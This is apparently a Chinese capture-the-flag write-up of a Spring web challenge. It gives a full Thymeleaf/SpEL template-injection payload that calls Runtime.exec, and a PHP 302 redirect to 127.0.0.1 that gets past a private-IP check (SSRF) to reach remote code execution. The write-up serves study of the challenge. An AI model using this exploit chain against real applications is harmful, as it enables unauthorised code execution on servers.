赛后才看的这道题,不知道跟赛题环境有没有区别。
代码分析
有两个有用的路由,/curl和/getsites,/curl用于请求非私有url并将内容保存至resources/sites/目录,/getsites可以加载模版,但是有限制必须是从127.0.0.1访问才行。
到这里其实思路很明显,上传html文件打模版注入,利用跳转绕过私有ip限制触发漏洞。
利用
将文件保存在vps上。
payload
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('open -a qq')").getValue()}]]
302
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=ip");
?>
此时会生成一个以自己ip命名的html文件。
利用跳转触发漏洞后rce。